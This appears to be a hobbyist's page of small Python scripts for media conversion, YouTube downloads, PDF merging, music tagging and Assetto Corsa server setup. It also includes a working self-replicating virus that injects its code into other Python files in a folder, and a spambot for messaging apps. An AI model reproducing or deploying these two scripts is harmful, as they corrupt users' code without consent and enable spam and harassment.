Contents:

Convert .mp4 videos to .vob with ffmpeg

    
# convert all .mp4 files in the directory to .vob files with ffmpeg
import cmd
import os
LOC = "C:\\yourlocation"

items = os.listdir(LOC)

print(items)
for i in items:
    if i.endswith(".mp4"):
        newitem = os.path.join(LOC,i)
        os.system("ffmpeg -i \"" + newitem + "\" -target ntsc-dvd \"" + newitem.replace(".mp4",".vob") + "\"")

print("\n\n\nDONE")

Download all Youtube urls within a given file

For example, the file urls.txt may look like this:

            https://youtu.be/PWLlxn3Se4A
            https://youtu.be/feOPw6hljLs
            https://youtu.be/tV43gMfJ4p4
            https://youtu.be/YJwAlBygMAA
            https://youtu.be/p0Gt8yB3F6Q
            https://youtu.be/C3qxYOV5gs4
            https://youtu.be/Cen_nE0nkdE
            https://youtu.be/f643hUFIZYE
            https://youtu.be/UGU2DAWnOtE
            https://youtu.be/s2-OF3VvGo4
            https://youtu.be/SjcMnHPgWqs
            https://youtu.be/q5GZdFtGSBw
            https://youtu.be/Sz6SOcKDmP4
            https://youtu.be/sMfD9IoHDA0
            https://youtu.be/TGku20_LeHg
            https://youtu.be/HLj2ASDWAeg
            https://youtu.be/xfApbO-Pza8
            https://youtu.be/EVShbpzeh0E
            https://youtu.be/zTyZgOkWs4o
            https://youtu.be/JmSXo0XdWoA
            https://youtu.be/JXohCvh2omI
            https://youtu.be/YPpmIDlBQkI
            https://youtu.be/lV2T_IQOR24
            https://youtu.be/PbIj7v5oFUE
            https://youtu.be/dgZ41Rg1whs
            https://youtu.be/PuBywc6Lnk8
            https://youtu.be/zFbHfB2AnVQ
            https://youtu.be/R5r8_79x3Z0
            https://youtu.be/6hVeWufC4E0
        

The script is as follows:

                
from pytube import YouTube
# misc
import os
import shutil
import math
import datetime

filename = input("Please enter the path or filename of the file containing urls to youtube videos to download:")

f = open(filename)

lines = f.readlines()

f.close()
print("Successfully read file "+ filename + "!")
print("Starting downloads...")
for l in lines:
    l = l.strip()
    print(l)
    v = YouTube(l)
    print ("downloading " + str(l) + "...")
    strm = v.streams.get_by_itag(137)
    if (strm == None):
        strm = v.streams.get_by_itag(299)
        if (strm == None):
            strm = v.streams.get_by_itag(134)
        
    strm.download()

print("done!")

            

Download a YouTube Playlist

                
from pytube import Playlist
link = input("enter a youtube playlist link: ")
playlist = Playlist(link)
print('Number of videos in playlist: %s' % len(playlist.video_urls))
playlist.download_all()

                

Print a matrix of random elements

(We used this to make a Minecraft roof random)

                
import random
rows = 6
cols = 20

characters = 'GLD'
for r in range(rows):
    res = ''
    for c in range(cols):
        rand = random.choice(characters)
        res += rand
        pass
    print(res)
    
            

Script that clones itself into other .py files

Use at your own risk!

                
### START
# simple virus that infects other python files
import sys,glob

code = []
with open(sys.argv[0], 'r') as f:
    lines = f.readlines()

virus_area = False;

for line in lines :
    if line == '### START\n':
        virus_area = True
    if virus_area:
        code.append(line)
    if line == '### END\n':
        break

python_scripts = glob.glob('*.py') + glob.glob('*.pyw')

for script in python_scripts:
    with open(script, 'r') as f:
        script_code = f.readlines()
    
    infected = False
    for line in script_code:
        if line == '### START\n':
            infected = True
            break

    if not infected:
        final_code = []
        final_code.extend(code)
        final_code.extend('\n')
        final_code.extend(script_code)
        with open(script, 'w') as f:
            f.writelines(final_code)

# payload is here

print("get infected")

### VIRUS END
                    
        

Simple script that can act as a spambot

Run the script, open the desired application you want to send spam messages in (for example Whatsapp Web), and sit back and enjoy!

                
import pyautogui
import time

print("--- simple spam script by semtex99. ---")

message = input("Message to send : ")
n = input("how many times? (type 0 for infinite) ")
yes = ""
if (int(n) == 0): yes = print("Are you sure? the message will be sent FOREVER (y/n)")


print("Waiting 5 seconds for you to start up the desired application...")

count = 5
while(count > 0):
    print("starting in " + str(count))
    time.sleep(1)
    count -= 1

print("here we go!")

if (int(n) == 0 and yes):
    while True:
        pyautogui.typewrite(message + '\n')
else:
    for i in range(int(n)):
        pyautogui.typewrite(message + '\n')
            
        

Script to append PDF files

This script can convert all images in a folder to pdf, and append the pdf's that are located in the folder (in alphabetical order). You can also download the file: Download button

                
from PIL import Image
from os import path
from glob import glob
from PyPDF2 import PdfFileMerger

# find all pdf files
def find_ext(dr, ext):
    return glob(path.join(dr,"*.{}".format(ext)))

insert_manual = input("Do you want to specify specific images to convert to pdf first? (y / n) ") == 'y'
if (insert_manual):
    convert_to_pdf = input("do you want to convert images to pdf first? (y / n) :") == 'y'
    if (convert_to_pdf):
        n = int(input("enter the amount of images you want to convert to pdf: "));

        filenames = []
        print("enter the filenames: ")
        for i in range(0, n):
            print("filename " + str(i) + " : ")
            filename = input();
            filenames.append(filename)
            
        print(filenames)

        for x in filenames:
            image = Image.open(x)
            im1 = image.convert('RGB')
            dot_index = x.rindex(".")
            new_name = x[0:dot_index] + ".pdf"
            im1.save(new_name)
            print("saved new file: " + new_name)
        print("done converting images to pdf")
else:    
    print("Will convert all images in current folder to pdf")
    imageslist = []
    for a in find_ext(".","png"):
        imageslist.append(a.replace(".\\",""))

    for a in find_ext(".","jpg"):
        imageslist.append(a.replace(".\\",""))

    for a in find_ext(".","jpeg"):
        imageslist.append(a.replace(".\\",""))

    imageslist.sort()
    print("will convert these images to pdf: ")
    for i in imageslist:
        print(i)
    input("Press Enter to start conversion : ")
    for i in imageslist:
        image = Image.open(i)
        im1 = image.convert('RGB')
        dot_index = i.rindex(".")
        new_name = i[0:dot_index] + ".pdf"
        print("saving file " + new_name)
        im1.save(new_name)
        print("saved new file: " + new_name)

result_name = input("please enter the result name of the file (with .pdf at the end) : ")

merger = PdfFileMerger()

pdflist = find_ext('.','pdf')
pdflist.sort()
for pdf in pdflist:
    print("appending " + pdf)
    merger.append(pdf)

merger.write(result_name)
merger.close()

print("done writing pdf")

            

Automatically add ID3 tags to music files

This is a script I wrote while setting up a Navidrome music server. I already had about 14 GB of music on my pc, and needed to transfer it to my server and fix all the tags. This script checks the existing tags of the songs and if there are none, it checks the filename. The filename needs to be in the form of artist - title. After that, it searches Spotify for the song and grabs the tags from that. If it can't find anything on Spotify, it searches for the album art cover on Google Images. You can also download the file: Download button

                
from ast import keyword
import sys
import mutagen
import eyed3
from eyed3.id3.frames import ImageFrame
from mutagen.flac import FLAC
from mutagen.mp3 import MP3
from mutagen.id3 import ID3
from mutagen.wave import WAVE
from mutagen.oggvorbis import OggVorbis
from mutagen.id3 import ID3, TIT2, TALB, TPE1, TPE2, COMM, TCOM, TCON, TDRC, TRCK, TPUB, POPM, APIC
from mutagen.easyid3 import EasyID3
import os
from os import listdir
from os.path import isfile, join

from icrawler.builtin import GoogleImageCrawler

import spotipy
from spotipy.oauth2 import SpotifyClientCredentials

from datetime import datetime

import requests

# TODO check if title is correct (not like "artist - name")

def make_folder(foldername):
    try:
        os.mkdir(foldername)
    except:
        # print("Folder " + foldername + " already exists")
        pass


def search_google_images_and_save(x: str, audio):
    audio.save(x)

    found_image = False
    if (check_tag(audio,"TALB","album")):
        # search for artist and album
        songpath = join(".",str(audio["TPE2"]),str(audio["TALB"]))
        make_folder(songpath)
        os.replace(join(".",x),join(songpath,x))
        print("Moved file! Now searching for album art... keyword is " + str(audio["TPE2"]) + " " + str(audio["TALB"]))
        google_Crawler = GoogleImageCrawler(storage = {'root_dir': songpath})
        try:
            google_Crawler.crawl(keyword = str(audio["TPE2"]) + " " + str(audio["TALB"]) + " album", max_num = 1)
            found_image = True
        except:
            print("could not find Google result by album, searching by track and artist")
        if (found_image):
            print("changing name of cover art file...")
            print(songpath)
            for f in listdir(songpath):
                print(f)
                if (isfile(join(songpath,f)) and f.split(".")[-1].lower() in ["jpg","png"]):
                    os.replace(join(songpath,f),join(songpath,"Cover." + f.split(".")[-1].lower()))
                    print("Done!") 
        #TODO search for song name and artist if album not found on google images
        # else:
        #     songpath = join(".",str(audio["TPE1"]),str(audio["TIT2"]))
        #     make_folder(songpath)
        #     os.replace(join(".",x),join(songpath,x))
        #     print("Moved file! Now searching for album art... keyword is " + str(audio["TPE1"]) + " " + str(audio["TIT2"]))
        #     google_Crawler = GoogleImageCrawler(storage = {'root_dir': songpath})
            

    else:
        # search for song name and artist
        # search for artist and album
        # use TPE2 (album artist), because we want to find the album
        songpath = join(".",str(audio["TPE2"]),str(audio["TIT2"]))
        make_folder(songpath)
        os.replace(join(".",x),join(songpath,x))
        print("Moved file! Now searching for album art... keyword is " + str(audio["TPE2"]) + " " + str(audio["TIT2"]))
        google_Crawler = GoogleImageCrawler(storage = {'root_dir': songpath})
        try:
            google_Crawler.crawl(keyword = str(audio["TPE2"]) + " " + str(audio["TIT2"]), max_num = 1)
            found_image = True
        except:
            print("could not find Google result by track and artist")
        if (found_image):
            print("changing name of cover art file...")
            print(songpath)
            for f in listdir(songpath):
                print(f)
                if (isfile(join(songpath,f)) and f.split(".")[-1].lower() in ["jpg","png"]):
                    os.replace(join(songpath,f),join(songpath,"Cover." + f.split(".")[-1].lower()))
                    print("Done!") 

# TIT2 = title,
# TPE1 = artist, 
# TPE2 = band, 
# TALB = album, 
# COMM = comment, 
# TCOM = composer, 
# TCON = genre, 
# TRCK = number, 
# TDRC = year, 
# TPUB = publisher

def create_ID3_tag(audio, tagname: str, textvalue: str):
    if tagname == "TALB":
        audio[tagname] = TALB(encoding=3,text=textvalue)
    elif tagname == "TIT2":
        audio[tagname] = TIT2(encoding=3,text=textvalue)
    elif tagname == "TPE1":
        audio[tagname] = TPE1(encoding=3,text=textvalue)
    elif tagname == "TPE2":
        audio[tagname] = TPE2(encoding=3,text=textvalue)
    elif tagname == "COMM":
        audio[tagname] = COMM(encoding=3,text=textvalue)
    elif tagname == "TCOM":
        audio[tagname] = TCOM(encoding=3,text=textvalue)
    elif tagname == "TCON":
        audio[tagname] = TCON(encoding=3,text=textvalue)
    elif tagname == "TRCK":
        audio[tagname] = TRCK(encoding=3,text=textvalue)
    elif tagname == "TDRC":
        try:
            audio[tagname] = TDRC(encoding=3,text=textvalue)
        except:
            pass
    elif tagname == "TPUB":
        audio[tagname] = TPUB(encoding=3,text=textvalue)

def check_tag(audio, ID3_tag: str, normal_tag) -> bool:
    res = False

        # check if the ID3 artist tag exists
    if (ID3_tag in audio.keys() and len(str(audio[ID3_tag])) != 0):
        print(ID3_tag + " tag found! " + str(audio[ID3_tag]))

        # apply it to the general album tag
        audio[normal_tag] = audio[ID3_tag]
        res = True

    # check if general album tag exists
    elif (normal_tag in audio.keys() and len(str(audio[normal_tag])) != 0):
        print(normal_tag + " tag found! " + str(audio[normal_tag]))

        #apply it to the ID3 tag
        create_ID3_tag(audio,ID3_tag,normal_tag)
        res = True

    return res

def check_title_songname(x: str, audio):
    print("checking title by name")
    items = x.split("-")
    print(items)
    if (len(items) >= 2):
        print("title: " + str(items[1].strip().rstrip().split(".")[0])) # get second part of title and remove the file extension
        audio["TIT2"] = TIT2(encoding=3,text=str(items[1].strip().rstrip().split(".")[0]))
        audio["title"] = TIT2(encoding=3,text=str(items[1].strip().rstrip().split(".")[0]))
    else:
        if ("TIT2" not in audio.keys()):
            audio["TIT2"] = TIT2(encoding=3,text=x.split(".")[0])

def check_for_multiple_artists(audio, name: str):
    artists = []
    if (" x " in name):
        artists = name.split(" x ")
    elif (" X " in name):
        artists = name.split(" X ")
    elif ("," in name):
        artists = name.split(",")
    elif (" feat. " in name):
        artists = name.split(" feat. ")
    elif (" Feat. " in name):
        artists = name.split(" Feat. ")
    elif (" Ft. " in name):
        artists = name.split(" Feat. ")
    elif (" ft. " in name):
        artists = name.split(" ft. ")
    elif ("/" in name):
        artists = name.split("/")
        name = name.replace("/"," & ")
    elif (" & " in name):
        artists = name.split(" & ")

    if (len(artists) > 0):
        print("multiple artists: " + str(artists))
        audio["TPE2"] = TPE2(encoding=3,text=str(artists[0].strip().rstrip()))
        make_folder(join(".",str(audio["TPE2"])))

        audio["TPE1"] = TPE1(encoding=3, text=name) 
        audio["artist"] = audio["TPE1"]
    else:
        audio["TPE2"] = TPE2(encoding=3,text=name)
        audio["TPE1"] = TPE1(encoding=3, text=name) 
        audio["artist"] = audio["TPE1"]

        

def check_artist_songname(x: str, audio):
    print("checking artist by name")
    items = x.split("-")
    if (len(items) >= 2):
        check_for_multiple_artists(audio,items[0].strip())

    else: # no multiple artists in name
        audio["TPE1"] = TPE1(encoding=3,text=str(items[0].strip().rstrip()))
        audio["TPE2"] = TPE2(encoding=3,text=str(items[0].strip().rstrip()))
        audio["artist"] = audio["TPE1"]

def check_artist(audio) -> bool:
    res = False

    # check if the ID3 artist tag exists
    if ("TPE1" in audio.keys()):      
        if (len(str(audio["TPE1"])) != 0):
            print("TPE1 tag was found! " + str(audio["TPE1"]))

            # apply it to general artist tag
            audio["TPE2"] = TPE2(encoding=3,text=str(audio["TPE1"]))
            audio["artist"] = audio["TPE1"]
            print("checking for multiple artists")     
            check_for_multiple_artists(audio,str(audio["TPE1"]))
            res = True


    # if no TPE1, check if the ID3 band tag exists
    elif ("TPE2" in audio.keys()):      
        if (len(str(audio["TPE2"])) != 0):
            print("TPE2 tag was found! " + str(audio["TPE2"]))

            # apply it to TPE1 and general artist tags
            audio["TPE1"] = TPE1(encoding=3,text=str(audio["TPE2"])) 
            audio["artist"] = audio["TPE1"]
            check_for_multiple_artists(audio,str(audio["TPE2"]))
            res = True

        # check if artist audio tag exists
    elif ("artist" in audio.keys()):
        if (len(str(audio["artist"])) != 0):
            print("artist tag was found! " + str(audio["artist"]))

            # apply to both ID3 artist tags
            audio["TPE1"] = TPE1(encoding=3,text=str(audio["artist"]))
            audio["TPE2"] = TPE2(encoding=3,text=str(audio["artist"]))
            check_for_multiple_artists(audio,str(audio["artist"]))
            res = True

    return res

def check_title(audio):
    if (" - " in str(audio["TIT2"])):
        print("Adjusting title...")
        new_title = str(audio["TIT2"]).split(" - ")[1]
        audio["TIT2"] = TIT2(encoding=3, text=new_title)
        audio["title"] = audio["TIT2"]
    else:
        print("title does not need to be checked")

def check_spotify_genre(genres,audio):
    genre = ""
    if (len(genres) > 0):
        if (len(genres) == 1):
            audio["TCON"] = TCON(encoding=3,text=str(genres[0]))
        else:
            print("genres: " + str(genres))
            for i in range(len(genres)):
                
                if (i != len(genres)-1):
                    genre += genres[i] + ","
                else:
                    genre += genres[i]
            print("genre set to " + genre)
            audio["TCON"] = TCON(encoding=3,text=genre)

        audio["genre"] = audio["TCON"]

def embed_music_file(audiostr: str, coverfile: str):
    try:
        new_audio = ID3(audiostr)
        with open(coverfile,'rb') as albumart:
            new_audio.add(APIC(
                        encoding=3,
                        mime='image/jpeg',
                        type=3, desc=u'Cover image',
                        data=albumart.read()
                        ))
        new_audio.save(audiostr)
        print("Finished!")
    except:
        print("could not embed music file")


def check_spotify_album_and_save(spotify, audio,x: str) -> bool:
    found = False
    print("Searching on spotify for album...")
    querystring = "artist:{0} album:{1}".format(str(audio["TPE2"]),str(audio["TALB"]))
    print("query string: " + querystring)
    results = spotify.search(q=querystring,type='album')

    if (len(results["albums"]["items"]) > 0):
        found = True
        album = results["albums"]["items"][0]
        album_artist = album["artists"][0]["name"]
        if (str(audio["TPE2"]) != album_artist):
            audio["TPE2"] = TPE2(encoding=3,text=album_artist)
            audio["album_artist"] = audio["TPE2"]
        
        album_image_url = album["images"][0]["url"]
        album_name = album["name"]
        if (str(audio["TALB"]) != album_name):
            audio["TALB"] = TALB(encoding=3,text=album_name)
            audio["album"] = audio["TALB"]
        audio["TDRC"] = TDRC(encoding=3,text=album["release_date"])
        audio["year"] = audio["TDRC"]

        artist_search = spotify.artist(album['artists'][0]['external_urls']['spotify'])
        print("genres: ",artist_search['genres'])
        check_spotify_genre(artist_search['genres'],audio)

        comment ="Spotify ID: {0}. Release date precision: {1}, total tracks in album: {2}. This album has {3} version(s)".format(album["id"],album["release_date_precision"], album["total_tracks"],len(results["albums"]["items"]))
        audio["COMM"] = COMM(encoding=3,text=comment)
        audio["comment"] = audio["COMM"]

        audio.save(x)

        songpath = join(".",str(audio["TPE2"]),str(audio["TALB"]))
        make_folder(join(".",str(audio["TPE2"])))
        if ("/" in str(audio["TALB"])):
            print("album contains /")
            folders = str(audio["TALB"]).split('/')
            print(folders)
            pos = join(".",str(audio["TPE2"]))
            for fold in folders:
                make_folder(join(pos,fold))
                pos = join(pos,fold)
                print(pos)

        make_folder(songpath)
        os.replace(join(".",x),join(songpath,x))
        print("moved song file, now downloading cover art")

        img_data = requests.get(str(album_image_url)).content
        with open(join(songpath,"Cover.jpg"),'wb') as handler:
            handler.write(img_data)
        print("done getting cover art!")

        print("now setting cover art..")
        embed_music_file(join(songpath,x),join(songpath,"Cover.jpg"))

    return found

def check_spotify_and_save(spotify, audio,x: str) -> bool:
    found = False
    print("Searching spotify...")
    artist = str(audio["TPE2"])
    track = str(audio["TIT2"])

    querystring = "artist:{0} track:{1}".format(artist.split("\00")[0],track)
    print("query string: " + querystring)
    results = spotify.search(q=querystring,type='track')
    if (len(results['tracks']['items']) > 0):
        found = True
        album = results['tracks']['items'][0]["album"]
        found_artist = album["artists"][0]["name"]
        if (found_artist != str(audio["TPE2"])):
            print("Changing album artist from " + str(audio["TPE2"]) + " to " + found_artist)
            audio["TPE2"] = TPE1(encoding=3,text=found_artist)
        found_album = album["name"]
        if (len(found_album) > 0):
            audio["TALB"] = TALB(encoding=3,text=found_album)
            audio["album"] = audio["TALB"]
        else:
            if (len(str(audio["TALB"])) == 0): #if there was no album
                audio["TALB"] = TALB(encoding=3,text=str(audio["TIT2"]))
                audio["album"] = audio["TALB"]



        try:
            year = str(datetime.strptime(album["release_date"], '%Y-%m-%d').year)
            try:
                audio["TDRC"] = TDRC(encoding=3,text=year)
                audio["year"] = audio["TDRC"]
            except:
                audio["year"] = year
                
        except Exception as err:
            print(err)
            year = str(album["release_date"])
            audio["year"] = TDRC(encoding=3,text=year)


        audio["TRCK"] = TRCK(encoding=3,text=str(results['tracks']['items'][0]["track_number"]) +"/" + str(album["total_tracks"]))
        audio["track"] = audio["TRCK"]
        try:
            audio["POPM"] = POPM(encoding=3,text=str(results['tracks']['items'][0]["popularity"]))
            audio["popularity"] = audio["POPM"]
        except:
            audio["popularity"] = str(results['tracks']['items'][0]["popularity"])

        found_image_url = album["images"][0]["url"]
        print("found cover art image at " + str(found_image_url))

        artist_search = spotify.artist(results['tracks']['items'][0]['artists'][0]['external_urls']['spotify'])
        print("genres: ",artist_search['genres'])
        check_spotify_genre(artist_search['genres'],audio)

        audio.save(x)
        songpath = join(".",str(audio["TPE2"]),str(audio["TALB"]))
        make_folder(join(".",str(audio["TPE2"])))
        if ("/" in str(audio["TALB"])):
            print("album contains /")
            folders = str(audio["TALB"]).split('/')
            print(folders)
            pos = join(".",str(audio["TPE2"]))
            for fold in folders:
                make_folder(join(pos,fold))
                pos = join(pos,fold)
                print(pos)

        make_folder(songpath)
        os.replace(join(".",x),join(songpath,x))
        print("moved song file, now downloading cover art")

        img_data = requests.get(str(found_image_url)).content
        with open(join(songpath,"Cover.jpg"),'wb') as handler:
            handler.write(img_data)
        print("done getting cover art!")

        print("now setting cover art..")
        embed_music_file(join(songpath,x),join(songpath,"Cover.jpg"))
            
    
    return found

def main():

    spotify = spotipy.Spotify(client_credentials_manager=SpotifyClientCredentials())

    onlyfiles = [f for f in listdir(".") if (isfile(join(".",f)) and f.split(".")[-1] in ['mp3','mp4','ogg','wav','flac','MP3','FLAC','OGG','MP4','WAV'])]
    # TIT2 = title,
    # TPE1 = artist, 
    # TPE2 = band, 
    # TALB = album, 
    # COMM = comment, 
    # TCOM = composer, 
    # TCON = genre, 
    # TRCK = number, 
    # TDRC = year, 
    # TPUB = publisher

    # use: audio["TRCK"] = TRCK(encoding=3, text=u'track_number') and replace the tags with appropriate values
    for x in onlyfiles:
        print("------------------------------------------------")
        print(x)

        # try to open tags, if the file has none, create a new ID3 object
        try:
            audio = mutagen.File(x)
        except mutagen.mp3.HeaderNotFoundError as err:
            print(err)
            print("header not found")
            audio = mutagen.File(x,easy=True)
            audio.add_tags()
        except mutagen.id3.ID3NoHeaderError:
            print("no header")
            audio = mutagen.File(x,easy=True)
            audio.add_tags()
        except:
            print("opening as ID3")
            audio = ID3(x)
            audio.add_tags()

        print(type(audio))
        try:
            if (audio.tags == None):
                print("audio has no tags")
                audio.add_tags()
        except:
            pass

        has_valid_artist = check_artist(audio)
        if (has_valid_artist):
            check_for_multiple_artists(audio,str(audio["TPE1"]))
            check_for_multiple_artists(audio,str(audio["TPE2"]))
        has_valid_album = check_tag(audio,"TALB","album")
        has_valid_title = check_tag(audio,"TIT2","title")
        check_title_songname(x,audio)
        check_title_songname(str(audio["TIT2"]),audio)
        if (has_valid_artist == False and has_valid_title):
            check_for_multiple_artists(audio,str(audio["TIT2"]))
            has_valid_artist = check_artist(audio) # check again

        if (has_valid_artist == False):
            if ("-" in x):
                check_artist_songname(x, audio)
                make_folder(join(".",str(audio["TPE1"])))
                has_valid_artist = True
        else:
            make_folder(join(".",str(audio["TPE2"])))
        
        if (has_valid_album):
            make_folder(join(".",str(audio["TPE2"]),str(audio["TALB"])))
    
        if (has_valid_title == False):
            if ("-" in x):
                check_title_songname(x,audio)
                has_valid_title = True

        check_tag(audio,"COMM","comment")
        check_tag(audio,"TCOM","composer")

        has_genre = check_tag(audio,"TCON","genre")
        if (has_genre):
            audio["TCON"] = TCON(encoding=3, text=str(audio["TCON"]).replace(" & ",",")) # convert genres like Hip-Hop & Rap to Hip-Hop,Rap
            audio["genre"] = audio["TCON"]

        check_tag(audio,"TRCK","track")
        check_tag(audio,"TDRC","year")
        check_tag(audio,"TPUB","publisher")

        check_title(audio)

        if (has_valid_artist and has_valid_title):
            found = check_spotify_and_save(spotify, audio,x)
            if (found == False):
                print("spotify did not find artist and track, searching for album...")
                if (has_valid_album):
                    album_found = check_spotify_album_and_save(spotify,audio,x)
                    if (album_found == False):
                        print("Nothing found on spotify, searching Google Images...")
                        search_google_images_and_save(x, audio)
                else:
                    audio["TALB"] = TALB(encoding=3,text=str(audio["TIT2"]))
                    audio["album"] = audio["TALB"]
                    search_google_images_and_save(x, audio)
        print("------------------------------------------------")
    

if __name__ == "__main__":
    main()


            

Generate Assetto Corsa car entry list

With this script you can easily set the entry list file of your Assetto Corsa server. You have to first enter the list of cars as they are in the server config file. Then, you can select how many instances of that car you want. It will also check the available skins and you can choose one for each car. You can also download the file: Download button

                
import os

YOUR_CARS_FOLDER = ""

class Car:
    def __init__(self, name, skin, number):
        self.name = name
        self.skin = skin
        self.number = number
    def __str__(self):
        return f"[CAR_{self.number}]\nMODEL={self.name}\nSKIN={self.skin}\nSPECTATOR_MODE=0\nDRIVERNAME=\nTEAM=\nGUID=0\nBALLAST=0\nAI=auto\n"


cars = input("enter car string list: ").split(';')

currentcar = 0
dirs = [x.path.replace("YOUR_CARS_FOLDER", "")
        for x in os.scandir('YOUR_CARS_FOLDER') if x.is_dir()]
dirs.sort()
# print(dirs)
finalcars = []
for i in range(0, len(cars)):

    if cars[i] in dirs:
        print("############################################\n\n")
        print("found car: " + cars[i])
        car_skins = [x.path.replace("YOUR_CARS_FOLDER" + cars[i] + "/skins/", "")
                        for x in os.scandir('YOUR_CARS_FOLDER' + cars[i] + "/skins/") if x.is_dir()]
        print("skins for car " + cars[i] + "\n")

        for skin in range(0, len(car_skins)):
            print(str(skin) + " " + car_skins[skin])
        amount = int(input("enter amount of this car you want: "))
        for j in range(0, amount):

            skin = int(input("Enter skin number for " +
                        cars[i] + "(car " + str(currentcar) + ") :"))
            print("set car skin to " + car_skins[skin])
            finalcars.append(Car(cars[i], car_skins[skin], currentcar))
            currentcar += 1

    else:
        print("car " + cars[i] + " not found")
        continue
    print("CARS LIST:\n\n\n")
    with open("entry_list.ini","w") as f:
        for car in finalcars:
            f.write(car)

    print("cars wrote to entry_list.ini")            
            
        

Change Assetto Corsa map

With this script you can easily change the map of your Assetto Corsa server. You can enter a track name and a config, and it will set those values in the config file. If the track name or config don't match, it will print out the available track names or configs. You can also download the file: Download button

                
import sys
from subprocess import call
import os

length = len(sys.argv)
newname = sys.argv[1].strip()
config = ""
lines = {}

if length > 2:
        config = sys.argv[2].strip()

if length <= 1:
        print("did not supply correct arguments!")
        sys.exit(-1)

dirs = [x.path.replace("YOUR_TRACKS_FOLDER","") for x in os.scandir('YOUR_TRACKS_FOLDER') if x.is_dir()]
dirs.sort()

resetname = False
if str(newname) not in dirs:
        print("===== ERROR: the provided map was not found! =====")
        print("===== You can try again and choose from one of the following: =====")
        for dir in dirs:
                print("\t" + dir)
        print("===== For now, I'll set it to the drift map =====")
        newname = "drift"
        config = ""
        resetname = True

if resetname == False and len(config) > 0:
        configdirs = [x.path.replace("YOUR_TRACKS_FOLDER" + newname + "/","") for x in os.scandir('YOUR_TRACKS_FOLDER' + newname + '/') if x.is_dir()]
        configdirs.sort()
        standard_folders = {'ai', 'ui', 'extension', 'data', 'skins','texture'}
        for s in standard_folders:
                if s in configdirs:
                        configdirs.remove(s)
        if (len(configdirs) == 0):
                print("===== The map you entered does not have a config! =====")
                config = ""

        elif (config not in configdirs):
                print("===== ERROR: provided config was not found in the map folder! =====")
                print("===== If you're sure it has one, maybe try one of these? =====")
                for cd in configdirs:
                        print("\t" + cd)
                print("===== To make it easy, I'll choose the first one for now: " + configdirs[0] + " =====")
                config = configdirs[0]

new_content = ""
with open('/srv/assetto-corsa-server/cfg/server_cfg.ini','r') as file:
        for line in file:
                line = line.strip()
                if line.startswith("TRACK="):
                        new_content += "TRACK=" + str(newname)
                        print("changing line " + line + " to " + "TRACK=" + str(newname))
                elif line.startswith("CONFIG_TRACK="):
                        if (len(config) > 1):
                                new_content +="CONFIG_TRACK=" + str(config)
                                print("changing line " + line + " to " + "CONFIG_TRACK=" + str(config))
                        else:
                                new_content += "CONFIG_TRACK="
                                print("no config entered, setting config line to CONFIG_TRACK=")
                else:
                        new_content += line
                new_content += "\n"

with open('YOUR_CONFIG_FOLDER/server_cfg.ini','w') as newfile:
        print("applying changes...")
        newfile.write(new_content)

print("===== Successfully updated map! Don't forget to restart the server! =====")